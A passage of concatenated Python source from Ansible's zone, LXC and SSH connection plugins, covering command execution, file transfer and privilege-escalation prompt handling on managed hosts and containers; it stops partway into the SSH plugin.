        fcntl.lockf(f, fcntl.LOCK_UN)
        display.vvvv('CONNECTION: pid %d released lock on %d' % (os.getpid(), f), host=self._play_context.remote_addr)






# Based on local.py (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# and chroot.py     (c) 2013, Maykel Moya <mmoya@speedyrails.com>
# and jail.py       (c) 2013, Michael Scherer <misc@zarb.org>
# (c) 2015, Dagobert Michelsen <dam@baltic-online.de>
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import distutils.spawn
import os
import os.path
import pipes
import subprocess
import traceback

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.plugins.connection import ConnectionBase, BUFSIZE
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class Connection(ConnectionBase):
    ''' Local zone based connections '''

    transport = 'zone'
    has_pipelining = True
    become_methods = frozenset(C.BECOME_METHODS).difference(('su',))

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)

        self.zone = self._play_context.remote_addr

        if os.geteuid() != 0:
            raise AnsibleError("zone connection requires running as root")

        self.zoneadm_cmd = to_bytes(self._search_executable('zoneadm'))
        self.zlogin_cmd = to_bytes(self._search_executable('zlogin'))

        if self.zone not in self.list_zones():
            raise AnsibleError("incorrect zone name %s" % self.zone)

    @staticmethod
    def _search_executable(executable):
        cmd = distutils.spawn.find_executable(executable)
        if not cmd:
            raise AnsibleError("%s command not found in PATH") % executable
        return cmd

    def list_zones(self):
        process = subprocess.Popen([self.zoneadm_cmd, 'list', '-ip'],
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        zones = []
        for l in process.stdout.readlines():
            # 1:work:running:/zones/work:3126dc59-9a07-4829-cde9-a816e4c5040e:native:shared
            s = l.split(':')
            if s[1] != 'global':
                zones.append(s[1])

        return zones

    def get_zone_path(self):
        #solaris10vm# zoneadm -z cswbuild list -p
        #-:cswbuild:installed:/zones/cswbuild:479f3c4b-d0c6-e97b-cd04-fd58f2c0238e:native:shared
        process = subprocess.Popen([self.zoneadm_cmd, '-z', to_bytes(self.zone), 'list', '-p'],
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        #stdout, stderr = p.communicate()
        path = process.stdout.readlines()[0].split(':')[3]
        return path + '/root'

    def _connect(self):
        ''' connect to the zone; nothing to do here '''
        super(Connection, self)._connect()
        if not self._connected:
            display.vvv("THIS IS A LOCAL ZONE DIR", host=self.zone)
            self._connected = True

    def _buffered_exec_command(self, cmd, stdin=subprocess.PIPE):
        ''' run a command on the zone.  This is only needed for implementing
        put_file() get_file() so that we don't have to read the whole file
        into memory.

        compared to exec_command() it looses some niceties like being able to
        return the process's exit code immediately.
        '''
        # Note: zlogin invokes a shell (just like ssh does) so we do not pass
        # this through /bin/sh -c here.  Instead it goes through the shell
        # that zlogin selects.
        local_cmd = [self.zlogin_cmd, self.zone, cmd]
        local_cmd = map(to_bytes, local_cmd)

        display.vvv("EXEC %s" % (local_cmd), host=self.zone)
        p = subprocess.Popen(local_cmd, shell=False, stdin=stdin,
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        return p

    def exec_command(self, cmd, in_data=None, sudoable=False):
        ''' run a command on the zone '''
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        p = self._buffered_exec_command(cmd)

        stdout, stderr = p.communicate(in_data)
        return (p.returncode, stdout, stderr)

    def _prefix_login_path(self, remote_path):
        ''' Make sure that we put files into a standard path

            If a path is relative, then we need to choose where to put it.
            ssh chooses $HOME but we aren't guaranteed that a home dir will
            exist in any given chroot.  So for now we're choosing "/" instead.
            This also happens to be the former default.

            Can revisit using $HOME instead if it's a problem
        '''
        if not remote_path.startswith(os.path.sep):
            remote_path = os.path.join(os.path.sep, remote_path)
        return os.path.normpath(remote_path)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to zone '''
        super(Connection, self).put_file(in_path, out_path)
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self.zone)

        out_path = pipes.quote(self._prefix_login_path(out_path))
        try:
            with open(in_path, 'rb') as in_file:
                try:
                    p = self._buffered_exec_command('dd of=%s bs=%s' % (out_path, BUFSIZE), stdin=in_file)
                except OSError:
                    raise AnsibleError("jail connection requires dd command in the jail")
                try:
                    stdout, stderr = p.communicate()
                except:
                    traceback.print_exc()
                    raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
                if p.returncode != 0:
                    raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))
        except IOError:
            raise AnsibleError("file or module does not exist at: %s" % in_path)

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from zone to local '''
        super(Connection, self).fetch_file(in_path, out_path)
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self.zone)

        in_path = pipes.quote(self._prefix_login_path(in_path))
        try:
            p = self._buffered_exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE))
        except OSError:
            raise AnsibleError("zone connection requires dd command in the zone")

        with open(out_path, 'wb+') as out_file:
            try:
                chunk = p.stdout.read(BUFSIZE)
                while chunk:
                    out_file.write(chunk)
                    chunk = p.stdout.read(BUFSIZE)
            except:
                traceback.print_exc()
                raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))

    def close(self):
        ''' terminate the connection; nothing to do here '''
        super(Connection, self).close()
        self._connected = False






# (c) 2015, Joerg Thalheim <joerg@higgsboson.tk>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import shutil
import traceback
import select
import fcntl
import errno
from ansible import errors
from ansible import constants as C
from ansible.plugins.connection import ConnectionBase
from ansible.utils.unicode import to_bytes

HAS_LIBLXC = False
try:
    import lxc as _lxc
    HAS_LIBLXC = True
except ImportError:
    pass

class Connection(ConnectionBase):
    ''' Local lxc based connections '''

    transport = 'lxc'
    has_pipelining = True
    become_methods = frozenset(C.BECOME_METHODS)

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)

        self.container_name = self._play_context.remote_addr
        self.container = None

    def _connect(self):
        ''' connect to the lxc; nothing to do here '''
        super(Connection, self)._connect()

        if not HAS_LIBLXC:
            msg = "lxc bindings for python2 are not installed"
            raise errors.AnsibleError(msg)

        if self.container:
            return

        self._display.vvv("THIS IS A LOCAL LXC DIR", host=self.container_name)
        self.container = _lxc.Container(self.container_name)
        if self.container.state == "STOPPED":
            raise errors.AnsibleError("%s is not running" % self.container_name)

    def _communicate(self, pid, in_data, stdin, stdout, stderr):
        buf = { stdout: [], stderr: [] }
        read_fds = [stdout, stderr]
        if in_data:
            write_fds = [stdin]
        else:
            write_fds = []
        while len(read_fds) > 0 or len(write_fds) > 0:
            try:
                ready_reads, ready_writes, _ = select.select(read_fds, write_fds, [])
            except select.error as e:
                if e.args[0] == errno.EINTR:
                    continue
                raise
            for fd in ready_writes:
                in_data = in_data[os.write(fd, in_data):]
                if len(in_data) == 0:
                    write_fds.remove(fd)
            for fd in ready_reads:
                data = os.read(fd, 32768)
                if not data:
                    read_fds.remove(fd)
                buf[fd].append(data)

        (pid, returncode) = os.waitpid(pid, 0)

        return returncode, b"".join(buf[stdout]), b"".join(buf[stderr])

    def _set_nonblocking(self, fd):
        flags = fcntl.fcntl(fd, fcntl.F_GETFL) | os.O_NONBLOCK
        fcntl.fcntl(fd, fcntl.F_SETFL, flags)
        return fd

    def exec_command(self, cmd, in_data=None, sudoable=False):
        ''' run a command on the chroot '''
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        executable = to_bytes(self._play_context.executable, errors='strict')
        local_cmd = [executable, '-c', to_bytes(cmd, errors='strict')]

        read_stdout, write_stdout = None, None
        read_stderr, write_stderr = None, None
        read_stdin, write_stdin   = None, None

        try:
            read_stdout, write_stdout = os.pipe()
            read_stderr, write_stderr = os.pipe()

            kwargs = {
                'stdout': self._set_nonblocking(write_stdout),
                'stderr': self._set_nonblocking(write_stderr),
                'env_policy': _lxc.LXC_ATTACH_CLEAR_ENV
            }

            if in_data:
                read_stdin, write_stdin = os.pipe()
                kwargs['stdin'] = self._set_nonblocking(read_stdin)

            self._display.vvv("EXEC %s" % (local_cmd), host=self.container_name)
            pid = self.container.attach(_lxc.attach_run_command, local_cmd, **kwargs)
            if pid == -1:
                msg = "failed to attach to container %s" % self.container_name
                raise errors.AnsibleError(msg)

            write_stdout = os.close(write_stdout)
            write_stderr = os.close(write_stderr)
            if read_stdin:
                read_stdin = os.close(read_stdin)

            return self._communicate(pid,
                                     in_data,
                                     write_stdin,
                                     read_stdout,
                                     read_stderr)
        finally:
            fds = [read_stdout,
                   write_stdout,
                   read_stderr,
                   write_stderr,
                   read_stdin,
                   write_stdin]
            for fd in fds:
                if fd:
                    os.close(fd)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to lxc '''
        super(Connection, self).put_file(in_path, out_path)
        self._display.vvv("PUT %s TO %s" % (in_path, out_path), host=self.container_name)
        in_path = to_bytes(in_path, errors='strict')
        out_path = to_bytes(out_path, errors='strict')

        if not os.path.exists(in_path):
            msg = "file or module does not exist: %s" % in_path
            raise errors.AnsibleFileNotFound(msg)
        try:
            src_file = open(in_path, "rb")
        except IOError:
            traceback.print_exc()
            raise errors.AnsibleError("failed to open input file to %s" % in_path)
        try:
            def write_file(args):
                with open(out_path, 'wb+') as dst_file:
                    shutil.copyfileobj(src_file, dst_file)
            try:
                self.container.attach_wait(write_file, None)
            except IOError:
                traceback.print_exc()
                msg = "failed to transfer file to %s" % out_path
                raise errors.AnsibleError(msg)
        finally:
            src_file.close()

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from lxc to local '''
        super(Connection, self).fetch_file(in_path, out_path)
        self._display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self.container_name)
        in_path = to_bytes(in_path, errors='strict')
        out_path = to_bytes(out_path, errors='strict')

        try:
            dst_file = open(out_path, "wb")
        except IOError:
            traceback.print_exc()
            msg = "failed to open output file %s" % out_path
            raise errors.AnsibleError(msg)
        try:
            def write_file(args):
                try:
                    with open(in_path, 'rb') as src_file:
                        shutil.copyfileobj(src_file, dst_file)
                finally:
                    # this is needed in the lxc child process
                    # to flush internal python buffers
                    dst_file.close()
            try:
                self.container.attach_wait(write_file, None)
            except IOError:
                traceback.print_exc()
                msg = "failed to transfer file from %s to %s" % (in_path, out_path)
                raise errors.AnsibleError(msg)
        finally:
            dst_file.close()

    def close(self):
        ''' terminate the connection; nothing to do here '''
        super(Connection, self).close()
        self._connected = False






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# Copyright 2015 Abhijit Menon-Sen <ams@2ndQuadrant.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import errno
import fcntl
import os
import pipes
import pty
import select
import subprocess
import time

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleConnectionFailure, AnsibleFileNotFound
from ansible.plugins.connection import ConnectionBase
from ansible.utils.path import unfrackpath, makedirs_safe
from ansible.utils.unicode import to_bytes, to_unicode, to_str
from ansible.compat.six import text_type, binary_type

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

SSHPASS_AVAILABLE = None


class Connection(ConnectionBase):
    ''' ssh based connections '''

    transport = 'ssh'
    has_pipelining = True
    become_methods = frozenset(C.BECOME_METHODS).difference(['runas'])

    def __init__(self, *args, **kwargs):
        super(Connection, self).__init__(*args, **kwargs)

        self.host = self._play_context.remote_addr

    # The connection is created by running ssh/scp/sftp from the exec_command,
    # put_file, and fetch_file methods, so we don't need to do any connection
    # management here.

    def _connect(self):
        return self

    @staticmethod
    def _sshpass_available():
        global SSHPASS_AVAILABLE

        # We test once if sshpass is available, and remember the result. It
        # would be nice to use distutils.spawn.find_executable for this, but
        # distutils isn't always available; shutils.which() is Python3-only.

        if SSHPASS_AVAILABLE is None:
            try:
                p = subprocess.Popen(["sshpass"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                p.communicate()
                SSHPASS_AVAILABLE = True
            except OSError:
                SSHPASS_AVAILABLE = False

        return SSHPASS_AVAILABLE

    @staticmethod
    def _persistence_controls(command):
        '''
        Takes a command array and scans it for ControlPersist and ControlPath
        settings and returns two booleans indicating whether either was found.
        This could be smarter, e.g. returning false if ControlPersist is 'no',
        but for now we do it simple way.
        '''

        controlpersist = False
        controlpath = False

        for arg in command:
            if 'controlpersist' in arg.lower():
                controlpersist = True
            elif 'controlpath' in arg.lower():
                controlpath = True

        return controlpersist, controlpath

    def _add_args(self, explanation, args):
        """
        Adds the given args to self._command and displays a caller-supplied
        explanation of why they were added.
        """
        self._command += args
        display.vvvvv('SSH: ' + explanation + ': (%s)' % ')('.join(args), host=self._play_context.remote_addr)

    def _build_command(self, binary, *other_args):
        '''
        Takes a binary (ssh, scp, sftp) and optional extra arguments and returns
        a command line as an array that can be passed to subprocess.Popen.
        '''

        self._command = []

        ## First, the command name.

        # If we want to use password authentication, we have to set up a pipe to
        # write the password to sshpass.

        if self._play_context.password:
            if not self._sshpass_available():
                raise AnsibleError("to use the 'ssh' connection type with passwords, you must install the sshpass program")

            self.sshpass_pipe = os.pipe()
            self._command += ['sshpass', '-d{0}'.format(self.sshpass_pipe[0])]

        self._command += [binary]

        ## Next, additional arguments based on the configuration.

        # sftp batch mode allows us to correctly catch failed transfers, but can
        # be disabled if the client side doesn't support the option. However,
        # sftp batch mode does not prompt for passwords so it must be disabled
        # if not using controlpersist and using sshpass
        if binary == 'sftp' and C.DEFAULT_SFTP_BATCH_MODE:
            if self._play_context.password:
                self._add_args('disable batch mode for sshpass', ['-o', 'BatchMode=no'])
            self._command += ['-b', '-']

        if self._play_context.verbosity > 3:
            self._command += ['-vvv']
        elif binary == 'ssh':
            # Older versions of ssh (e.g. in RHEL 6) don't accept sftp -q.
            self._command += ['-q']

        # Next, we add [ssh_connection]ssh_args from ansible.cfg.

        if self._play_context.ssh_args:
            args = self._split_ssh_args(self._play_context.ssh_args)
            self._add_args("ansible.cfg set ssh_args", args)

        # Now we add various arguments controlled by configuration file settings
        # (e.g. host_key_checking) or inventory variables (ansible_ssh_port) or
        # a combination thereof.

        if not C.HOST_KEY_CHECKING:
            self._add_args(
                "ANSIBLE_HOST_KEY_CHECKING/host_key_checking disabled",
                ("-o", "StrictHostKeyChecking=no")
            )

        if self._play_context.port is not None:
            self._add_args(
                "ANSIBLE_REMOTE_PORT/remote_port/ansible_port set",
                ("-o", "Port={0}".format(self._play_context.port))
            )

        key = self._play_context.private_key_file
        if key:
            self._add_args(
                "ANSIBLE_PRIVATE_KEY_FILE/private_key_file/ansible_ssh_private_key_file set",
                ("-o", "IdentityFile=\"{0}\"".format(os.path.expanduser(key)))
            )

        if not self._play_context.password:
            self._add_args(
                "ansible_password/ansible_ssh_pass not set", (
                    "-o", "KbdInteractiveAuthentication=no",
                    "-o", "PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey",
                    "-o", "PasswordAuthentication=no"
                )
            )

        user = self._play_context.remote_user
        if user:
            self._add_args(
                "ANSIBLE_REMOTE_USER/remote_user/ansible_user/user/-u set",
                ("-o", "User={0}".format(to_bytes(self._play_context.remote_user)))
            )

        self._add_args(
            "ANSIBLE_TIMEOUT/timeout set",
            ("-o", "ConnectTimeout={0}".format(self._play_context.timeout))
        )

        # Add in any common or binary-specific arguments from the PlayContext
        # (i.e. inventory or task settings or overrides on the command line).

        for opt in ['ssh_common_args', binary + '_extra_args']:
            attr = getattr(self._play_context, opt, None)
            if attr is not None:
                args = self._split_ssh_args(attr)
                self._add_args("PlayContext set %s" % opt, args)

        # Check if ControlPersist is enabled and add a ControlPath if one hasn't
        # already been set.

        controlpersist, controlpath = self._persistence_controls(self._command)

        if controlpersist:
            self._persistent = True

            if not controlpath:
                cpdir = unfrackpath('$HOME/.ansible/cp')

                # The directory must exist and be writable.
                makedirs_safe(cpdir, 0o700)
                if not os.access(cpdir, os.W_OK):
                    raise AnsibleError("Cannot write to ControlPath %s" % cpdir)

                args = ("-o", "ControlPath={0}".format(
                    to_bytes(C.ANSIBLE_SSH_CONTROL_PATH % dict(directory=cpdir)))
                )
                self._add_args("found only ControlPersist; added ControlPath", args)

        ## Finally, we add any caller-supplied extras.

        if other_args:
            self._command += other_args

        return self._command

    def _send_initial_data(self, fh, in_data):
        '''
        Writes initial data to the stdin filehandle of the subprocess and closes
        it. (The handle must be closed; otherwise, for example, "sftp -b -" will
        just hang forever waiting for more commands.)
        '''

        display.debug('Sending initial data')

        try:
            fh.write(in_data)
            fh.close()
        except (OSError, IOError):
            raise AnsibleConnectionFailure('SSH Error: data could not be sent to the remote host. Make sure this host can be reached over ssh')

        display.debug('Sent initial data (%d bytes)' % len(in_data))

    # Used by _run() to kill processes on failures
    @staticmethod
    def _terminate_process(p):
        """ Terminate a process, ignoring errors """
        try:
            p.terminate()
        except (OSError, IOError):
            pass

    # This is separate from _run() because we need to do the same thing for stdout
    # and stderr.
    def _examine_output(self, source, state, chunk, sudoable):
        '''
        Takes a string, extracts complete lines from it, tests to see if they
        are a prompt, error message, etc., and sets appropriate flags in self.
        Prompt and success lines are removed.

        Returns the processed (i.e. possibly-edited) output and the unprocessed
        remainder (to be processed with the next chunk) as strings.
        '''

        output = []
        for l in chunk.splitlines(True):
            suppress_output = False

            #display.debug("Examining line (source=%s, state=%s): '%s'" % (source, state, l.rstrip('\r\n')))
            if self._play_context.prompt and self.check_password_prompt(l):
                display.debug("become_prompt: (source=%s, state=%s): '%s'" % (source, state, l.rstrip('\r\n')))
                self._flags['become_prompt'] = True
                suppress_output = True
            elif self._play_context.success_key and self.check_become_success(l):
                display.debug("become_success: (source=%s, state=%s): '%s'" % (source, state, l.rstrip('\r\n')))
                self._flags['become_success'] = True
                suppress_output = True
            elif sudoable and self.check_incorrect_password(l):
                display.debug("become_error: (source=%s, state=%s): '%s'" % (source, state, l.rstrip('\r\n')))
                self._flags['become_error'] = True
            elif sudoable and self.check_missing_password(l):
                display.debug("become_nopasswd_error: (source=%s, state=%s): '%s'" % (source, state, l.rstrip('\r\n')))
                self._flags['become_nopasswd_error'] = True

            if not suppress_output:
                output.append(l)

        # The chunk we read was most likely a series of complete lines, but just
        # in case the last line was incomplete (and not a prompt, which we would
        # have removed from the output), we retain it to be processed with the
        # next chunk.

        remainder = ''
        if output and not output[-1].endswith('\n'):
            remainder = output[-1]
            output = output[:-1]

        return ''.join(output), remainder

    def _run(self, cmd, in_data, sudoable=True):
        '''
        Starts the command and communicates with it until it ends.
        '''

        display_cmd = map(to_unicode, map(pipes.quote, cmd))
        display.vvv(u'SSH: EXEC {0}'.format(u' '.join(display_cmd)), host=self.host)

        # Start the given command. If we don't need to pipeline data, we can try
        # to use a pseudo-tty (ssh will have been invoked with -tt). If we are
        # pipelining data, or can't create a pty, we fall back to using plain
        # old pipes.

        p = None

        if isinstance(cmd, (text_type, binary_type)):
            cmd = to_bytes(cmd)
        else:
            cmd = list(map(to_bytes, cmd))

        if not in_data:
            try:
                # Make sure stdin is a proper pty to avoid tcgetattr errors
                master, slave = pty.openpty()
                p = subprocess.Popen(cmd, stdin=slave, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                stdin = os.fdopen(master, 'w', 0)
                os.close(slave)
            except (OSError, IOError):
                p = None

        if not p:
            p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            stdin = p.stdin

        # If we are using SSH password authentication, write the password into
        # the pipe we opened in _build_command.

        if self._play_context.password:
            os.close(self.sshpass_pipe[0])
            try:
                os.write(self.sshpass_pipe[1], "{0}\n".format(to_bytes(self._play_context.password)))
            except OSError as e:
                # Ignore broken pipe errors if the sshpass process has exited.
                if e.errno != errno.EPIPE or p.poll() is None:
                    raise
            os.close(self.sshpass_pipe[1])

        ## SSH state machine
        #
        # Now we read and accumulate output from the running process until it
        # exits. Depending on the circumstances, we may also need to write an
        # escalation password and/or pipelined input to the process.

        states = [
            'awaiting_prompt', 'awaiting_escalation', 'ready_to_send', 'awaiting_exit'
        ]

        # Are we requesting privilege escalation? Right now, we may be invoked
        # to execute sftp/scp with sudoable=True, but we can request escalation
        # only when using ssh. Otherwise we can send initial data straightaway.

        state = states.index('ready_to_send')
        if b'ssh' in cmd:
            if self._play_context.prompt:
                # We're requesting escalation with a password, so we have to
                # wait for a password prompt.
                state = states.index('awaiting_prompt')
                display.debug('Initial state: %s: %s' % (states[state], self._play_context.prompt))
            elif self._play_context.become and self._play_context.success_key:
                # We're requesting escalation without a password, so we have to
                # detect success/failure before sending any initial data.
                state = states.index('awaiting_escalation')
                display.debug('Initial state: %s: %s' % (states[state], self._play_context.success_key))

        # We store accumulated stdout and stderr output from the process here,
        # but strip any privilege escalation prompt/confirmation lines first.
        # Output is accumulated into tmp_*, complete lines are extracted into
        # an array, then checked and removed or copied to stdout or stderr. We
        # set any flags based on examining the output in self._flags.

        stdout = stderr = ''
        tmp_stdout = tmp_stderr = ''

        self._flags = dict(
            become_prompt=False, become_success=False,
            become_error=False, become_nopasswd_error=False
        )

        # select timeout should be longer than the connect timeout, otherwise
        # they will race each other when we can't connect, and the connect
        # timeout usually fails
        timeout = 2 + self._play_context.timeout
        rpipes = [p.stdout, p.stderr]
        for fd in rpipes:
            fcntl.fcntl(fd, fcntl.F_SETFL, fcntl.fcntl(fd, fcntl.F_GETFL) | os.O_NONBLOCK)

        # If we can send initial data without waiting for anything, we do so
        # before we call select.

        if states[state] == 'ready_to_send' and in_data:
            self._send_initial_data(stdin, in_data)
            state += 1

        while True:
            rfd, wfd, efd = select.select(rpipes, [], [], timeout)

            # We pay attention to timeouts only while negotiating a prompt.

            if not rfd:
                if state <= states.index('awaiting_escalation'):
                    # If the process has already exited, then it's not really a
                    # timeout; we'll let the normal error handling deal with it.
                    if p.poll() is not None:
                        break
                    self._terminate_process(p)
                    raise AnsibleError('Timeout (%ds) waiting for privilege escalation prompt: %s' % (timeout, stdout))

            # Read whatever output is available on stdout and stderr, and stop
            # listening to the pipe if it's been closed.

            if p.stdout in rfd:
                chunk = p.stdout.read()
                if chunk == '':
                    rpipes.remove(p.stdout)
                tmp_stdout += chunk
                display.debug("stdout chunk (state=%s):\n>>>%s<<<\n" % (state, chunk))

            if p.stderr in rfd:
                chunk = p.stderr.read()
                if chunk == '':
                    rpipes.remove(p.stderr)
                tmp_stderr += chunk
                display.debug("stderr chunk (state=%s):\n>>>%s<<<\n" % (state, chunk))

            # We examine the output line-by-line until we have negotiated any
            # privilege escalation prompt and subsequent success/error message.
            # Afterwards, we can accumulate output without looking at it.

            if state < states.index('ready_to_send'):
                if tmp_stdout:
                    output, unprocessed = self._examine_output('stdout', states[state], tmp_stdout, sudoable)
                    stdout += output
                    tmp_stdout = unprocessed

                if tmp_stderr:
                    output, unprocessed = self._examine_output('stderr', states[state], tmp_stderr, sudoable)
                    stderr += output
                    tmp_stderr = unprocessed
            else:
                stdout += tmp_stdout
                stderr += tmp_stderr
                tmp_stdout = tmp_stderr = ''

            # If we see a privilege escalation prompt, we send the password.
            # (If we're expecting a prompt but the escalation succeeds, we
            # didn't need the password and can carry on regardless.)

            if states[state] == 'awaiting_prompt':
                if self._flags['become_prompt']:
                    display.debug('Sending become_pass in response to prompt')
                    stdin.write('{0}\n'.format(to_bytes(self._play_context.become_pass )))
                    self._flags['become_prompt'] = False
                    state += 1
                elif self._flags['become_success']:
                    state += 1

            # We've requested escalation (with or without a password), now we
            # wait for an error message or a successful escalation.

            if states[state] == 'awaiting_escalation':
                if self._flags['become_success']:
                    display.debug('Escalation succeeded')
                    self._flags['become_success'] = False
                    state += 1
                elif self._flags['become_error']:
                    display.debug('Escalation failed')
                    self._terminate_process(p)
                    self._flags['become_error'] = False
                    raise AnsibleError('Incorrect %s password' % self._play_context.become_method)
                elif self._flags['become_nopasswd_error']:
                    display.debug('Escalation requires password')
                    self._terminate_process(p)
                    self._flags['become_nopasswd_error'] = False
                    raise AnsibleError('Missing %s password' % self._play_context.become_method)
                elif self._flags['become_prompt']:
                    # This shouldn't happen, because we should see the "Sorry,
                    # try again" message first.
                    display.debug('Escalation prompt repeated')
                    self._terminate_process(p)
                    self._flags['become_prompt'] = False
                    raise AnsibleError('Incorrect %s password' % self._play_context.become_method)

            # Once we're sure that the privilege escalation prompt, if any, has
            # been dealt with, we can send any initial data and start waiting
            # for output.

            if states[state] == 'ready_to_send':
                if in_data:
                    self._send_initial_data(stdin, in_data)
                state += 1

            # Now we're awaiting_exit: has the child process exited? If it has,
            # and we've read all available output from it, we're done.

            if p.poll() is not None:
                if not rpipes or not rfd:
                    break

                # When ssh has ControlMaster (+ControlPath/Persist) enabled, the
                # first connection goes into the background and we never see EOF
                # on stderr. If we see EOF on stdout and the process has exited,
                # we're probably done. We call select again with a zero timeout,
                # just to make certain we don't miss anything that may have been
                # written to stderr between the time we called select() and when
                # we learned that the process had finished.

                if p.stdout not in rpipes:
                    timeout = 0
                    continue

            # If the process has not yet exited, but we've already read EOF from
            # its stdout and stderr (and thus removed both from rpipes), we can
            # just wait for it to exit.

            elif not rpipes:
                p.wait()
                break

            # Otherwise there may still be outstanding data to read.

        # close stdin after process is terminated and stdout/stderr are read
        # completely (see also issue #848)
        stdin.close()

        if C.HOST_KEY_CHECKING:
            if cmd[0] == b"sshpass" and p.returncode == 6:
                raise AnsibleError('Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this.  Please add this host\'s fingerprint to your known_hosts file to manage this host.')

        controlpersisterror = 'Bad configuration option: ControlPersist' in stderr or 'unknown configuration option: ControlPersist' in stderr
        if p.returncode != 0 and controlpersisterror:
            raise AnsibleError('using -c ssh on certain older ssh versions may not support ControlPersist, set ANSIBLE_SSH_ARGS="" (or ssh_args in [ssh_connection] section of the config file) before running again')

        if p.returncode == 255 and in_data:
            raise AnsibleConnectionFailure('SSH Error: data could not be sent to the remote host. Make sure this host can be reached over ssh')

        return (p.returncode, stdout, stderr)

    def _exec_command(self, cmd, in_data=None, sudoable=True):
        ''' run a command on the remote host '''

        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        display.vvv(u"ESTABLISH SSH CONNECTION FOR USER: {0}".format(self._play_context.remote_user), host=self._play_context.remote_addr)

        # we can only use tty when we are not pipelining the modules. piping
        # data into /usr/bin/python inside a tty automatically invokes the
        # python interactive-mode but the modules are not compatible with the
        # interactive-mode ("unexpected indent" mainly because of empty lines)

        if not in_data and sudoable:
            args = ('ssh', '-tt', self.host, cmd)
        else:
            args = ('ssh', self.host, cmd)

        cmd = self._build_command(*args)
        (returncode, stdout, stderr) = self._run(cmd, in_data, sudoable=sudoable)

        return (returncode, stdout, stderr)

    #
    # Main public methods
    #
    def exec_command(self, *args, **kwargs):
        """
        Wrapper around _exec_command to retry in the case of an ssh failure

        Will retry if:
        * an exception is caught
        * ssh returns 255
        Will not retry if
        * remaining_tries is <2
        * retries limit reached
        """

        remaining_tries = int(C.ANSIBLE_SSH_RETRIES) + 1
        cmd_summary = "%s..." % args[0]
        for attempt in range(remaining_tries):
            try:
                return_tuple = self._exec_command(*args, **kwargs)
                # 0 = success
                # 1-254 = remote command return code
                # 255 = failure from the ssh command itself
                if return_tuple[0] != 255:
                    break
                else:
                    raise AnsibleConnectionFailure("Failed to connect to the host via ssh.")
            except (AnsibleConnectionFailure, Exception) as e:
                if attempt == remaining_tries - 1:
                    raise
                else:
                    pause = 2 ** attempt - 1
                    if pause > 30:
                        pause = 30

                    if isinstance(e, AnsibleConnectionFailure):
                        msg = "ssh_retry: attempt: %d, ssh return code is 255. cmd (%s), pausing for %d seconds" % (attempt, cmd_summary, pause)
                    else:
                        msg = "ssh_retry: attempt: %d, caught exception(%s) from cmd (%s), pausing for %d seconds" % (attempt, e, cmd_summary, pause)

                    display.vv(msg, host=self.host)

                    time.sleep(pause)
                    continue

        return return_tuple

    def put_file(self, in_path, out_path):
